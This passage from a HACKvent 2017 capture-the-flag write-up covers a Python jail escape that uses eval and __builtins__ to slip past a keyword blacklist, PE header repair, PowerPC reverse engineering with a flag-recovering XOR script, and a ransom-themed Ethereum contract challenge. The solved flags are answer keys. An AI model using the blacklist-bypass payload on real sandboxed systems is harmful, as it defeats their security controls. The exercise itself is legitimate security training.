>>> a = denied >>> a = print(a) ['import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per']
The string-array denied
seems to be the blacklist.
There are also single-characters which are blacklisted:
>>> a = x Denied
I identified the following characters as being accepted:
a, c, d, e, i, l, n, o, p, r, s, t, v
After trying out different ways to call the SANTA
function I decided to focus on the denied
array looking for some useful function:
>>> a = denied >>> a = print(a) ['import', 'upper', 'lower', 'open', 'exit', 'compile', 'chr', '__import__', 'object', 'assert', '__builtins__', 'exec', 'pper', 'per'] >>> a = print(eval(denied[10]+".__dict__")) {'all': , 'str': , 'eval': , 'Exception': , 'any': , 'exec': , 'input': , 'print': , 'repr': }
The builtin function input
evaluates the input as python-code before returning. Thus we could evaluate unfiltered input.
Unfortunately the u
in input
is not an accepted character and thus our input would be blacklisted.
Here again our very helpful denied
-array comes into play again:
>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())") print("bfgxu") bfgxu >>> a =
Nice! We called the function __builtins__.input()
by borrowing the u
from the denied
-element upper
.
Now we can evaluate unfiltered input:
>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())") print(SANTA()) No flag for you! >>> a =
Hm, no flag yet. After yet another trying-around I supposed that the function needs to be passed an argument:
>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())") print(SANTA("test")) qt >>> a =
Let’s try something longer. The flag-syntax is always a good idea:
>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())") print(SANTA("HV17-xxxx-xxxx-xxxx-xxxx-xxxx")) 13371~%3.<*3?z./7>151x*<0 >>> a =
1337
? This cannot be a coincidence!?
>>> a = eval("eval("+denied[10]+".inp"+denied[1][0]+"t())") print(SANTA("13371337133713371337133713371")) HV17-J41l-esc4-p3ed-w4zz-3asy >>> a =
Great! It seems that fhe flag was XOR-ed with "13371337..."
. This encrypted flag is yet again XOR-ed with the input to the SANTA
-function and then returned.
The flag is HV17-J41l-esc4-p3ed-w4zz-3asy
.
Day 17: Portable NotExecutable
|
Author: HaRdLoCk |
here is your flag.
but wait – its not running, because it uses the new Portable NotExecutable Format. this runs only on Santas PC. can you fix that? get the flag here Hint #1: IMAGE_FILE_HEADER and its friends |
At first I started up kali-linux and began to analyze the file:
user@host:~$ unzip Portable_NotExecutable.zip Archive: Portable_NotExecutable.zip inflating: Portable_NotExecutable.exe user@host:~$ file Portable_NotExecutable.exe Portable_NotExecutable.exe: data user@host:~$ binwalk Portable_NotExecutable.exe DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- user@host:~$ strings Portable_NotExecutable.exe Win32 only! HACKvent CODE `DATA .idata .rsrc QZ^& 5@0@ hz0@ hS0@ hD0@ j 5&2@ 5&2@ 5&2@ h62@ h62@ 5*2@ 5.2@ h:3@ 522@ hJ3@ 5.2@ 5*2@ HV17 h"1@ h21@ % A@ %$A@ %(A@ %,A@ %0A@ HACKvent_Class HACKvent 2017 - Portable NotExecutable EDIT BUTTON Flag Exit Tahoma 7pQmc1Hnw4j0fEubLT3etr8BJVN2KDGSolO5IhX9WsyYdAFRzPkxCqg6ZUivaM KERNEL32.dll GDI32.dll USER32.dll GetModuleFileNameA CloseHandle ExitProcess CreateFileMappingA MapViewOfFile RtlMoveMemory CreateFileA GetModuleHandleA CreateFontA GetMessageA GetDesktopWindow TranslateMessage ShowWindow GetWindowRect DispatchMessageA DefWindowProcA PostQuitMessage CreateWindowExA MoveWindow RegisterClassExA SendDlgItemMessageA SetFocus LoadIconA LoadCursorA UpdateWindow IsDialogMessageA DZP# ;MG$$$) )1.A +Zl}G ?Vc ?Vb 3>64r 2g|+ HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?
file
does not recognize any known file-structure. According to the challenge description the file uses the new Portable NotExecutable Format
, which obviously has not been added to the official file-formats yet 😉
Nevertheless we have got a hint using strings:
HV17-GasR-zkb3-cVd9-KdAP-txi is almost good. but why the black window?
After comparing the file with some other ordinary PE-files in a hexeditor I changed my mind and decided to further analyze the file on windows.
Just executing the file raises an error. Considering the hints we have to patch the file to make it run.
In order to understand what needs to be patched I used PEview, which is a good tool to view PE-files on windows: http://wjradburn.com/software/.
For example opening calc.exe
looks like the following:
On the left side we can see all headers and sections within the PE-file. If we select a header we can view the single fields and values on the right side.
Let’s have a look at our NotExecutable file:
The first thing to notice is that there is no valid DOS signature and the PE
magic signature was changed to PNE
.
The byte at offset 0x01
should be edited from 0x53
to 0x5A
(also see screenshot from calc.exe
).
The bytes at offset 0x41
and 0x42
should be edited from 0x4E
to 0x45
and from 0x45
to 0x00
(also see screenshot from calc.exe
).
[0x01: 0x53 -> 0x5A Signature: IMAGE_DOS_SIGNATURE MZ] [0x41: 0x4E -> 0x45 Signature: IMAGE_NT_SIGNATURE PE] [0x42: 0x45 -> 0x00 Signature: IMAGE_NT_SIGNATURE PE]
I patched the file and reopened it in PEView:
Looks better. Now PEView detects a valid DOS header. Let’s have a closer look at the header fields:
Nothing suspicious so far until the last field Offset to New EXE Header
. This field indicates where the actual EXE header begins. But the value is 0x20
!? As we can see at the offset in the column pFile
the DOS header is even longer. Comparing it to other PE-files I decided to patch this value from 0x20
to 0x40
.
[0x3C: 0x20 -> 0x40 Offset to New EXE Header: 0x40]
And yet again reopened the file in PEView:
Looks even better now. PEView can parse the NT header and displays all sections. But there is still something suspicious: the 5th section after .src
does not have a name. And after this no-named section header follows a SECTION CODE
? And after this a section called CE1@
something? There must be something else messed up.
When viewing the hex-data we can clearly see 4 section names: CODE
, DATA
, .idata
and .rsrc
:
Why those other sections?
Having a look at the IMAGE_FILE_HEADER
something seems suspicious again:
Number of sections 6? That seems not correct. Let’s patch this to 4.
[0x46: 0x06 -> 0x04 Number of Sections: 4]
Yet again I patched the file and reopened it in PEView:
That’s better! Now the sections are parsed correctly.
Let’s give it a try and rerun the patched binary:
After clicking on Flag
a flag appears! Hm, but wait. It’s not the correct flag.
And why is there a terminal in the background?
That’s where our hint comes into play:
why the black window?
The executable seems to be run as a console-program. But it seems to be a GUI-program. Let’s review the headers in PEView:
In the IMAGE_OPTIONAL_HEADER
there is a field called Subsystem. This field indicates whether the binary is a console-program (CUI) or a GUI-program. The current value is 3 = IMAGE_SUBSYSTEM_WINDOWS_CUI
. Let’s change this:
[0x9C: 0x03 -> 0x02 Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI]
And relaunch the program:
No black window anymore.. and another flag! This time the right one 🙂
The flag is HV17-VIQn-oHcL-hVd9-KdAP-txiK
.
Day 18: I want to play a Game (Reloaded)
|
Author: HaRdLoCk |
Last year we played some funny games together – do you remember? ready for another round?
download the game here and play until you find the flag. get the game Hint #1: follow the fake flag in the unsigned binary. this challenge needs RE |
Running the game with a ps-emulator reveals a bonus flag. For the actual flag we have to do some RE:
At first I mounted the ISO-image:
user@host:~$ mkdir /media/tmp user@host:~$ mount BLES-HV17.iso /media/tmp/ mount: /dev/loop1 is write-protected, mounting read-only user@host:~$ cd /media/tmp/ user@host:/media/tmp$ ls -al total 61 dr-xr-xr-x 1 root root 2048 Nov 15 21:09 . drwxr-xr-x 1 root root 80 Dec 30 15:21 .. -r-xr-xr-x 1 root root 57234 Nov 15 21:04 ICON0.PNG -r-xr-xr-x 1 root root 916 Nov 15 21:08 PARAM.SFO dr-xr-xr-x 1 root root 2048 Nov 15 21:09 USRDIR user@host:/media/tmp$ cd USERDIR user@host:/media/tmp/USERDIR$ ls -al total 1091 dr-xr-xr-x 1 root root 2048 Nov 15 21:09 . dr-xr-xr-x 1 root root 2048 Nov 15 21:09 .. -r-xr-xr-x 1 root root 1017681 Nov 15 19:10 EBOOT.BIN -r-xr-xr-x 1 root root 94544 Nov 15 19:13 hackvent.self user@host:/media/tmp/USERDIR$ file * EBOOT.BIN: ELF 64-bit MSB executable, 64-bit PowerPC or cisco 7500, version 1 (SYSV), statically linked, not stripped hackvent.self: data
The binary we have to analyze is the EBOOT.BIN
. Let’s start up radare2
:
user@host:/media/tmp/USERDIR$ r2 EBOOT.BIN Warning: Cannot initialize dynamic strings [0x10000000]> aaaa [Cannot find function 'entry0' at 0x10000000 entry0 (aa) [x] Analyze all flags starting with sym. and entry0 (aa) [x] Analyze len bytes of instructions for references (aar) [x] Analyze function calls (aac) [x] Emulate code to find computed references (aae) [x] Analyze consecutive function (aat) [aav: using from to 0x0 0xf8751) Using vmin 0x10000 and vmax 0x10036130 aav: Cannot find section at 0x268442177 [x] Analyze value pointers (aav) [can't find function prototype for sym..deregister_tm_clonesnctions (aan) can't find function prototype for sym.._initialize ...
Let’s see which functions exists:
[0x10000000]> afl 0x00010200 1 44 loc.._init 0x00010230 1 24 sym..deregister_tm_clones 0x00010290 1 28 sym..register_tm_clones 0x000102f0 1 204 sym..__do_global_dtors_aux 0x000103c0 1 112 sym..frame_dummy 0x00010488 1 288 sym..__syscalls_init 0x000105b8 1 48 sym.._initialize 0x000105f8 1 208 sym..DrawBackground2D 0x000106d8 1 804 sym..drawScene 0x00010a08 3 188 sym..LoadTexture 0x00010ad0 1 148 -> 220 sym..main 0x00010b78 1 72 loc.00010b78 0x00010be0 1 64 -> 116 sym..i_must_break_line 0x00010c34 1 52 loc.00010c34 0x00010d10 1 112 sym..ResetFont 0x00010d90 4 868 -> 812 sym..AddFontFromBitmapArray 0x000111b8 1 596 -> 788 sym..AddFontFromTTF 0x00011514 2 12 -> 192 loc.00011514 0x00011560 1 44 sym..SetCurrentFont 0x000115b0 1 40 sym..SetFontSize 0x000115e8 1 16 sym..SetFontColor ...
Ouch.. a lot of functions. After searching around for a while and having a look at some functions I came upon the DrawString
function:
[0x10000000]> pdf @ sym..DrawString / (fcn) sym..DrawString 208 | sym..DrawString (); | ; CALL XREF from 0x00010754 (sym..drawScene) | ; CALL XREF from 0x00010784 (sym..drawScene) | ; CALL XREF from 0x000107b4 (sym..drawScene) | ; CALL XREF from 0x00010978 (sym..drawScene) | ; CALL XREF from 0x000109d0 (sym..drawScene) | 0x00012120 fbe1ffe8 std r31, -0x18(r1) | 0x00012124 ebe28228 ld r31, -0x7dd8(r2) | 0x00012128 7c0802a6 mflr r0 | 0x0001212c dbc1fff0 stfd f30, -0x10(r1) | 0x00012130 ffc01090 fmr f30, f2 | 0x00012134 dbe1fff8 stfd f31, -8(r1) | 0x00012138 f8010010 std r0, 0x10(r1) | 0x0001213c fba1ffd8 std r29, -0x28(r1) | 0x00012140 fbc1ffe0 std r30, -0x20(r1) | 0x00012144 f821ff41 stdu r1, -0xc0(r1) | 0x00012148 801f20f8 lwz r0, 0x20f8(r31) ...
I was not wondering about the code itself but rather the 5 XREFs from drawScene
. The function DrawString
must simply.. well.. draw a string and it’s called 5 times from a function drawScene
. This function must be customized to draw a specific scene for the game. Let’s go on there:
[0x10000000]> pdf @ sym..drawScene / (fcn) sym..drawScene 804 | sym..drawScene (int arg_70h, int arg_90h, int arg_b0h, int arg_d0h, int arg_140h); | ; arg int arg_70h @ r1+0x70 | ; arg int arg_90h @ r1+0x90 | ; arg int arg_b0h @ r1+0xb0 | ; arg int arg_d0h @ r1+0xd0 | ; arg int arg_140h @ r1+0x140 | 0x000106d8 fbc1fff0 std r30, -0x10(r1) | 0x000106dc 7c0802a6 mflr r0 | 0x000106e0 f8010010 std r0, 0x10(r1) | 0x000106e4 3bc0001d li r30, 0x1d | 0x000106e8 fbe1fff8 std r31, -8(r1) | 0x000106ec f821fec1 stdu r1, -0x140(r1) | 0x000106f0 3be10070 addi r31, r1, 0x70 | 0x000106f4 48004f7d bl sym..tiny3d_Project2D | 0x000106f8 60000000 nop | 0x000106fc 3c600040 lis r3, 0x40 | 0x00010700 6063ffff ori r3, r3, 0xffff | 0x00010704 4bfffef5 bl sym..DrawBackground2D ; floating_point round(arithmetic x); | 0x00010708 38800018 li r4, 0x18 | 0x0001070c 3860000c li r3, 0xc | 0x00010710 48000ea1 bl sym..SetFontSize | 0x00010714 60000000 nop | 0x00010718 38600001 li r3, 1 | 0x0001071c 48000e45 bl sym..SetCurrentFont | 0x00010720 60000000 nop | 0x00010724 3860ffff li r3, -1 | 0x00010728 38800000 li r4, 0 | 0x0001072c 78630020 clrldi r3, r3, 0x20 | 0x00010730 48000eb9 bl sym..SetFontColor | 0x00010734 60000000 nop | 0x00010738 38600000 li r3, 0 | 0x0001073c 48000f05 bl sym..SetFontAutoCenter | 0x00010740 60000000 nop | 0x00010744 e90281d0 ld r8, -0x7e30(r2) | 0x00010748 e8a281d8 ld r5, -0x7e28(r2) | 0x0001074c c0280000 lfs f1, (r8) | 0x00010750 fc400890 fmr f2, f1 | 0x00010754 480019cd bl sym..DrawString | 0x00010758 60000000 nop | 0x0001075c 3c6000ff lis r3, 0xff | 0x00010760 d8210128 stfd f1, 0x128(r1) | 0x00010764 38800000 li r4, 0 | 0x00010768 606300ff ori r3, r3, 0xff | 0x0001076c 48000e7d bl sym..SetFontColor | 0x00010770 60000000 nop | 0x00010774 e92281d0 ld r9, -0x7e30(r2) | ;-- .LANCHOR1: | ;-- t_reentp: | 0x00010778 c8210128 lfd f1, 0x128(r1) | 0x0001077c e8a281e0 ld r5, -0x7e20(r2) | 0x00010780 c0490000 lfs f2, (r9) | 0x00010784 4800199d bl sym..DrawString | 0x00010788 60000000 nop | 0x0001078c 3860ffff li r3, -1 | 0x00010790 d8210128 stfd f1, 0x128(r1) | 0x00010794 38800000 li r4, 0 | 0x00010798 78630020 clrldi r3, r3, 0x20 | 0x0001079c 48000e4d bl sym..SetFontColor | 0x000107a0 60000000 nop | 0x000107a4 e94281d0 ld r10, -0x7e30(r2) | 0x000107a8 c8210128 lfd f1, 0x128(r1) | 0x000107ac e8a281e8 ld r5, -0x7e18(r2) | 0x000107b0 c04a0000 lfs f2, (r10) | 0x000107b4 4800196d bl sym..DrawString | 0x000107b8 60000000 nop | 0x000107bc e94281f0 ld r10, -0x7e10(r2) | 0x000107c0 7fc903a6 mtctr r30 | 0x000107c4 39200000 li r9, 0 | 0x000107c8 38c100b0 addi r6, r1, 0xb0 | 0x000107cc 38e100d0 addi r7, r1, 0xd0 | 0x000107d0 810a0000 lwz r8, (r10) | 0x000107d4 83ca0004 lwz r30, 4(r10) | 0x000107d8 808a0038 lwz r4, 0x38(r10) | 0x000107dc 88aa003c lbz r5, 0x3c(r10) | 0x000107e0 818a0034 lwz r12, 0x34(r10) | 0x000107e4 800a0044 lwz r0, 0x44(r10) | 0x000107e8 816a0048 lwz r11, 0x48(r10) | 0x000107ec 806a004c lwz r3, 0x4c(r10) | 0x000107f0 910100f0 stw r8, 0xf0(r1) | 0x000107f4 810a0008 lwz r8, 8(r10) | 0x000107f8 93c100f4 stw r30, 0xf4(r1) | 0x000107fc 83ca000c lwz r30, 0xc(r10) | 0x00010800 910100f8 stw r8, 0xf8(r1) | 0x00010804 810a0010 lwz r8, 0x10(r10) | 0x00010808 93c100fc stw r30, 0xfc(r1) | 0x0001080c 83ca0014 lwz r30, 0x14(r10) | 0x00010810 91010100 stw r8, 0x100(r1) | 0x00010814 810a0018 lwz r8, 0x18(r10) | 0x00010818 93c10104 stw r30, 0x104(r1) | 0x0001081c 8bca001c lbz r30, 0x1c(r10) | 0x00010820 91010108 stw r8, 0x108(r1) | 0x00010824 810a0020 lwz r8, 0x20(r10) | 0x00010828 9bc1010c stb r30, 0x10c(r1) | 0x0001082c 83ca0024 lwz r30, 0x24(r10) | 0x00010830 91010110 stw r8, 0x110(r1) | 0x00010834 810a0028 lwz r8, 0x28(r10) | 0x00010838 93c10114 stw r30, 0x114(r1) | 0x0001083c 83ca002c lwz r30, 0x2c(r10) | 0x00010840 91010118 stw r8, 0x118(r1) | 0x00010844 810a0030 lwz r8, 0x30(r10) | 0x00010848 93c1011c stw r30, 0x11c(r1) | 0x0001084c 83c100f0 lwz r30, 0xf0(r1) | 0x00010850 91010120 stw r8, 0x120(r1) | 0x00010854 810a0040 lwz r8, 0x40(r10) | 0x00010858 93c100d0 stw r30, 0xd0(r1) | 0x0001085c 83c100f4 lwz r30, 0xf4(r1) | 0x00010860 93c100d4 stw r30, 0xd4(r1) | 0x00010864 83c100f8 lwz r30, 0xf8(r1) | 0x00010868 93c100d8 stw r30, 0xd8(r1) | 0x0001086c 83c100fc lwz r30, 0xfc(r1) | 0x00010870 93c100dc stw r30, 0xdc(r1) | 0x00010874 83c10100 lwz r30, 0x100(r1) | 0x00010878 93c100e0 stw r30, 0xe0(r1) | 0x0001087c 83c10104 lwz r30, 0x104(r1) | 0x00010880 93c100e4 stw r30, 0xe4(r1) | 0x00010884 83c10108 lwz r30, 0x108(r1) | 0x00010888 93c100e8 stw r30, 0xe8(r1) | 0x0001088c 8bc1010c lbz r30, 0x10c(r1) | 0x00010890 9bc100ec stb r30, 0xec(r1) | 0x00010894 83c10110 lwz r30, 0x110(r1) | 0x00010898 93c100b0 stw r30, 0xb0(r1) | 0x0001089c 83c10114 lwz r30, 0x114(r1) | 0x000108a0 93c100b4 stw r30, 0xb4(r1) | 0x000108a4 83c10118 lwz r30, 0x118(r1) | 0x000108a8 93c100b8 stw r30, 0xb8(r1) | 0x000108ac 83c1011c lwz r30, 0x11c(r1) | 0x000108b0 908100c8 stw r4, 0xc8(r1) | 0x000108b4 808a0050 lwz r4, 0x50(r10) | 0x000108b8 93c100bc stw r30, 0xbc(r1) | 0x000108bc 83c10120 lwz r30, 0x120(r1) | 0x000108c0 98a100cc stb r5, 0xcc(r1) | 0x000108c4 80aa0054 lwz r5, 0x54(r10) | 0x000108c8 91010090 stw r8, 0x90(r1) | 0x000108cc 810a0058 lwz r8, 0x58(r10) | 0x000108d0 894a005c lbz r10, 0x5c(r10) | 0x000108d4 93c100c0 stw r30, 0xc0(r1) | 0x000108d8 918100c4 stw r12, 0xc4(r1) | 0x000108dc 90010094 stw r0, 0x94(r1) | 0x000108e0 91610098 stw r11, 0x98(r1) | 0x000108e4 9061009c stw r3, 0x9c(r1) | 0x000108e8 908100a0 stw r4, 0xa0(r1) | 0x000108ec 90a100a4 stw r5, 0xa4(r1) | 0x000108f0 910100a8 stw r8, 0xa8(r1) | 0x000108f4 994100ac stb r10, 0xac(r1) | 0x000108f8 7d0648ae lbzx r8, r6, r9 | 0x000108fc 7d4748ae lbzx r10, r7, r9 | 0x00010900 7d0a5278 xor r10, r8, r10 | 0x00010904 794a0620 clrldi r10, r10, 0x38 | 0x00010908 554807fe clrlwi r8, r10, 0x1f | 0x0001090c 2f880000 cmpwi cr7, r8, 0 | 0x00010910 419e0008 beq cr7, 0x10918 | 0x00010914 694a0001 xori r10, r10, 1 | 0x00010918 7d5f49ae stbx r10, r31, r9 | 0x0001091c 39290001 addi r9, r9, 1 | 0x00010920 4200ffd8 bdnz 0x108f8 | 0x00010924 3900001d li r8, 0x1d | 0x00010928 39200000 li r9, 0 | 0x0001092c 38e10090 addi r7, r1, 0x90 | 0x00010930 7d0903a6 mtctr r8 | 0x00010934 60000000 nop | 0x00010938 7d5f48ae lbzx r10, r31, r9 | 0x0001093c 7d0748ae lbzx r8, r7, r9 | 0x00010940 7d0a5278 xor r10, r8, r10 | 0x00010944 7d5f49ae stbx r10, r31, r9 | 0x00010948 39290001 addi r9, r9, 1 | 0x0001094c 4200ffec bdnz 0x10938 | 0x00010950 38600001 li r3, 1 | 0x00010954 39200000 li r9, 0 | 0x00010958 9921008d stb r9, 0x8d(r1) | 0x0001095c 48000ce5 bl sym..SetFontAutoCenter | 0x00010960 60000000 nop | 0x00010964 e94281d0 ld r10, -0x7e30(r2) | 0x00010968 7fe5fb78 mr r5, r31 | 0x0001096c e92281f8 ld r9, -0x7e08(r2) | 0x00010970 c02a0000 lfs f1, (r10) | 0x00010974 c0490000 lfs f2, (r9) | 0x00010978 480017a9 bl sym..DrawString | 0x0001097c 60000000 nop | 0x00010980 38600001 li r3, 1 | 0x00010984 48000bdd bl sym..SetCurrentFont | 0x00010988 60000000 nop | 0x0001098c 38600010 li r3, 0x10 | 0x00010990 38800010 li r4, 0x10 | 0x00010994 48000c1d bl sym..SetFontSize | 0x00010998 60000000 nop | 0x0001099c 3860ffff li r3, -1 | 0x000109a0 388000ff li r4, 0xff | 0x000109a4 78630020 clrldi r3, r3, 0x20 | 0x000109a8 48000c41 bl sym..SetFontColor | 0x000109ac 60000000 nop | 0x000109b0 38600001 li r3, 1 | 0x000109b4 48000c8d bl sym..SetFontAutoCenter | 0x000109b8 60000000 nop | 0x000109bc e9228200 ld r9, -0x7e00(r2) | 0x000109c0 ebc281d0 ld r30, -0x7e30(r2) | 0x000109c4 e8a28208 ld r5, -0x7df8(r2) | 0x000109c8 c0490000 lfs f2, (r9) | 0x000109cc c03e0000 lfs f1, (r30) | 0x000109d0 48001751 bl sym..DrawString | 0x000109d4 60000000 nop | 0x000109d8 38600000 li r3, 0 | 0x000109dc 48000c65 bl sym..SetFontAutoCenter | 0x000109e0 60000000 nop | 0x000109e4 38210140 addi r1, r1, 0x140 | 0x000109e8 e8010010 ld r0, 0x10(r1) | 0x000109ec ebc1fff0 ld r30, -0x10(r1) | 0x000109f0 ebe1fff8 ld r31, -8(r1) | 0x000109f4 7c0803a6 mtlr r0 \ 0x000109f8 4e800020 blr
A lot of code. I have highlighted the calls to DrawString. Before the call of the 4th DrawString there are a lot of suspicious load
/store
/xor
instructions. That’s where we should go deeper.
What followed was a lot of lookup-and-understand work. I looked up most of the instructions here: http://www.ds.ewi.tudelft.nl/vakken/in1006/instruction-set/.
I figured out that there are basically 3 memory-regions involved with 29-bytes. As the flag-syntax is HV17-xxxx-xxxx-xxxx-xxxx-xxxx this exactly matches the 29 bytes.
In the biggest block of code between 0x000107d0
and 0x000108fc
(lines 73-148) lwz
/ lbz
(Load Word/Byte and Zero) and stw
/ stb
(Store Word/Byte and Zero) is used to initialize these memory-regions. The actual calculation is done between 0x00010900
and 0x0001094c
(lines 149-168).
This was my first attempt to reverse these memory-regions:
0x090 = 0x00000040 0x094 = 0x00000044 (r0) 0x098 = 0x00000048 (r11) 0x09c = 0x0000004c (r3) 0x0a0 = 0x00000050 (r4) 0x0a4 = 0x00000054 (r5) 0x0a8 = 0x00000058 (r8) 0x0ac = 0x5c (b) 0x0b0 = 0x00000110 0x0b4 = 0x00000114 0x0b8 = 0x00000118 0x0bc = 0x0000011c 0x0c0 = 0x00000120 0x0c4 = 0x00000034 0x0c8 = 0x00000038 0x0cc = 0x3c (b) 0x0d0 = 0x000000f0 0x0d4 = 0x000000f4 0x0d8 = 0x000000f8 0x0dc = 0x000000fc 0x0e0 = 0x00000100 0x0e4 = 0x00000104 0x0e8 = 0x00000108 0x0ec = 0x10c (b) 0x0f0 = 0x00000000 0x0f4 = 0x00000004 0x0f8 = 0x00000008 0x0fc = 0x0000000c 0x100 = 0x00000010 0x104 = 0x00000014 0x108 = 0x00000018 0x10c = 0x1c (b) 0x110 = 0x00000020 0x114 = 0x00000024 0x118 = 0x00000028 0x11c = 0x0000002c 0x120 = 0x00000030
After further analyzing the code I understood that the initialized memory-regions are used as a offset into a predefined memory-region beginning at 0x40018
within the binary:
user@host:/media/tmp/USERDIR$ hexdump -C EBOOT.BIN | head -n 11768 | tail -n 10 00040000 00 01 04 30 00 01 04 30 00 00 00 00 00 00 00 00 |...0...0........| 00040010 00 00 00 00 00 00 00 00 08 33 cf a8 a0 3d 5e ac |.........3...=^.| 00040020 a1 73 69 f4 57 37 aa c2 26 ee fc 61 f8 79 a4 cb |.si.W7..&..a.y..| 00040030 e8 1d b5 21 b6 00 00 00 2b db 0d f9 06 e8 24 be |...!....+.....$.| 00040040 c2 2a 6d b5 12 63 04 9a 8e 84 14 f9 5f 56 3d 82 |.*m..c......_V=.| 00040050 80 a6 6d 95 c6 00 00 00 6a be f3 67 8b e1 17 58 |..m.....j..g...X| 00040060 51 75 7d 38 27 39 83 0f c1 3f b0 b5 c8 74 ff 1f |Qu}8'9...?...t..| 00040070 45 df e8 d8 24 00 00 00 47 7f ff 00 44 53 c0 00 |E...$...G...DS..| 00040080 43 ff 80 00 00 00 00 00 42 00 00 00 42 80 00 00 |C.......B...B...| 00040090 77 65 6c 63 6f 6d 65 20 74 6f 20 61 6e 6f 74 68 |welcome to anoth|
Summing it all up I ended with the following python-script, which basically just XORs 3 bytes of the referenced memory-regions:
#!/usr/bin/python s1 = "\x08\x33\xcf\xa8\xa0\x3d\x5e\xac\xa1\x73\x69\xf4\x57\x37\xaa\xc2\x26\xee\xfc\x61\xf8\x79\xa4\xcb\xe8\x1d\xb5\x21\xb6" s2 = "\x2b\xdb\x0d\xf9\x06\xe8\x24\xbe\xc2\x2a\x6d\xb5\x12\x63\x04\x9a\x8e\x84\x14\xf9\x5f\x56\x3d\x82\x80\xa6\x6d\x95\xc6" s3 = "\x6a\xbe\xf3\x67\x8b\xe1\x17\x58\x51\x75\x7d\x38\x27\x39\x83\x0f\xc1\x3f\xb0\xb5\xc8\x74\xff\x1f\x45\xdf\xe8\xd8\x24" flag = "" for i in range(len(s1)): bintmp = bin(ord(s2[i]) ^ ord(s1[i]))[2:] # XOR byte from s1 and s2 bintmp = "0" * (8-len(bintmp)) + bintmp # append leading zeros x = 0x0 if (bintmp[7] == "1"): x = 0x01 # if the 7th bit is set, final XOR with 0x1 is required flag += chr(ord(s1[i]) ^ ord(s2[i]) ^ ord(s3[i]) ^ x) # final XOR print(flag)
Running the script:
user@host:~$ ./ppc.py HV17-5mJ3-yxcm-WiUX-nZgW-e0lT
Done!
The flag is HV17-5mJ3-yxcm-WiUX-nZgW-e0lT
.
Day 19: Cryptolocker Ransomware
|
Author: Dykcik Pay the price, Thumper did it already! |
This flag has been taken for ransom. Transfer 10’000 Szabo to 0x1337C8b69bcb49d677D758cF541116af1F2759Ca with your HACKvent username (case sensitive) in the transaction data to get your personal decryption key. To get points for this challenge, enter the key in the form below.
Disclaimer: No need to spend r34l m0n3y! Enter your 32-byte decryption key here. Type it as 64 hexadecimal characters without 0x at the beginning. |
I started by googling for Szabo and cryptocurrency which lead me to Nick Szabo (https://en.wikipedia.org/wiki/Nick_Szabo), who is the developer of the phrase and concept of “smart contracts”. These smart contracts are used by Ethereum. Thus I started searching the provided address (0x1337C8b69bcb49d677D758cF541116af1F2759Ca
) on https://etherscan.io/. That’s what I got:
So there is a wallet with this address and there are two transactions: a contract creation and another transaction. Let’s have a look at the actual transaction:
Somebody payed 0.01 Ether to the address. According to the challenge description Thumper
already payed the price. So it’s no surprise that the hex-values in the field Input Data are the ASCII-characters T-h-u-m-p-e-r
.
Viewing the Event Logs of the transaction we even get more information:
There are 4 x 32-Byte values. For the last one I selected Text
which displays the words: Your key is here
. According to the challenge description the key we have to enter is a 32-byte key (= 64 hexadecimal characters). Thus the first value must be the decryption key for Thumper
(9880cccfe81a075ff0d029b4351ef4496ae452199b831634af57e5951466349d
).
What information can we get how this key was created? Going back to the wallet’s main page we can select Contract Code
:
In the lower window we can see the contract code. This code is executed on the input data and generates the 4 x 32-byte values of the output. So we just have to input our nickname according to the challenge description, run the code with this input and get our decryption key. Sounds easy. Theoretically.
I used quite a lot of time to google things up. I learned that the contract codes are interpreted by a virtual machine called Ethereum Virtual Machine (EVM). Thus I searched for different implementation which can execute evm bytecode.
After a while I stumbled upon go-ethereum
which can be downloaded here: https://ethereum.github.io/go-ethereum/downloads/. The archive Geth & Tools 1.7.3 contains the tool evm
:
user@host:~$ ./evm evm [global options] command [command options] [arguments...] VERSION: 1.7.3-stable-4bb3c89d COMMANDS: compile compiles easm source to evm binary disasm disassembles evm binary run run arbitrary evm binary statetest executes the given state tests help Shows a list of commands or help for one command GLOBAL OPTIONS: --create indicates the action should be create rather than call --debug output full trace logs --verbosity value sets the verbosity level (default: 0) --code value EVM code --codefile value File containing EVM code. If '-' is specified, code is read from stdin --gas value gas limit for the evm (default: 10000000000) --price "0" price set for the evm --value "0" value set for the evm --dump dumps the state after the run --input value input for the EVM --nogasmetering disable gas metering --memprofile value creates a memory profile at the given path --cpuprofile value creates a CPU profile at the given path --statdump displays stack and heap memory information --prestate value JSON file with prestate (genesis) config --json output trace logs in machine readable format (json) --sender value The transaction origin --receiver value The transaction receiver (execution context) --nomemory disable memory output --nostack disable stack output --help, -h show help --version, -v print the version
In order to run the bytecode from the contract I saved the code in a textfile:
user@host:~$ cat bytecode.txt 6060604052600436106100405763ffffffff7c010000000000000000000 ...
As the input I converted my nickname "scryh"
to ASCII: 7363727968
.
After looking up how to correctly call the tool I finally entered:
user@host:~$ ./evm --input 7363727968 --debug --codefile bytecode.txt run #### TRACE #### PUSH1 pc=00000000 gas=10000000000 cost=3 PUSH1 pc=00000002 gas=9999999997 cost=3 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000060 MSTORE pc=00000004 gas=9999999994 cost=12 Stack: 00000000 0000000000000000000000000000000000000000000000000000000000000040 00000001 0000000000000000000000000000000000000000000000000000000000000060 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000050 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| PUSH1 pc=00000005 gas=9999999982 cost=3 Memory: 00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000020 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 |................| 00000040 00 00 00 00 00 00 